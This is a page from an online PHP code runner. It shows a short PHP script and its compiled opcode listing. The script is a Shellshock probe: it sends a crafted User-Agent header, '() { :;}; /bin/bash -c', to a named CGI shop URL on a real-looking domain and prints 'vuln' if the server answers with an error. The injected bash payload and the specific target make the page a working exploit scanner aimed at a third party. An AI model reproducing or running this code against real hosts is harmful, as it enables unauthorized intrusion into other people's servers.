3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url = "http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi"; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0) echo "vuln";
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 46) Position 1 = 17, Position 2 = 24
Branch analysis from position: 17
2 jumps found. (Code = 43) Position 1 = 25, Position 2 = 26
Branch analysis from position: 25
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 26
Branch analysis from position: 24
filename:       /in/7ULjl
function name:  (null)
number of ops:  27
compiled vars:  !0 = $url, !1 = $context, !2 = $cmd, !3 = $http_response_header
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'http%3A%2F%2Fwww.tu-shop.de%2Fcgi-bin%2Fcosmoshop%2Flshop.cgi'
    3     1        INIT_FCALL                                               'stream_context_create'
    6     2        INIT_ARRAY                                       ~5      'GET', 'method'
    7     3        CONCAT                                           ~6      'User-Agent%3A+%28%29+%7B+%3A%3B%7D%3B+%2Fbin%2Fbash+-c+%22', !2
          4        CONCAT                                           ~7      ~6, '%22'
          5        ADD_ARRAY_ELEMENT                                ~5      ~7, 'header'
          6        INIT_ARRAY                                       ~8      ~5, 'http'
          7        SEND_VAL                                                 ~8
          8        DO_ICALL                                         $9      
    3     9        ASSIGN                                                   !1, $9
   12    10        INIT_FCALL                                               'file_get_contents'
         11        SEND_VAR                                                 !0
         12        SEND_VAL                                                 <false>
         13        SEND_VAR                                                 !1
         14        DO_ICALL                                         $11     
         15        BOOL_NOT                                         ~12     $11
         16      > JMPZ_EX                                          ~12     ~12, ->24
         17    >   INIT_FCALL                                               'strpos'
         18        FETCH_DIM_R                                      ~13     !3, 0
         19        SEND_VAL                                                 ~13
         20        SEND_VAL                                                 '500'
         21        DO_ICALL                                         $14     
         22        IS_SMALLER                                       ~15     0, $14
         23        BOOL                                             ~12     ~15
         24    > > JMPZ                                                     ~12, ->26
   13    25    >   ECHO                                                     'vuln'
         26    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
153.59 ms | 1396 KiB | 19 Q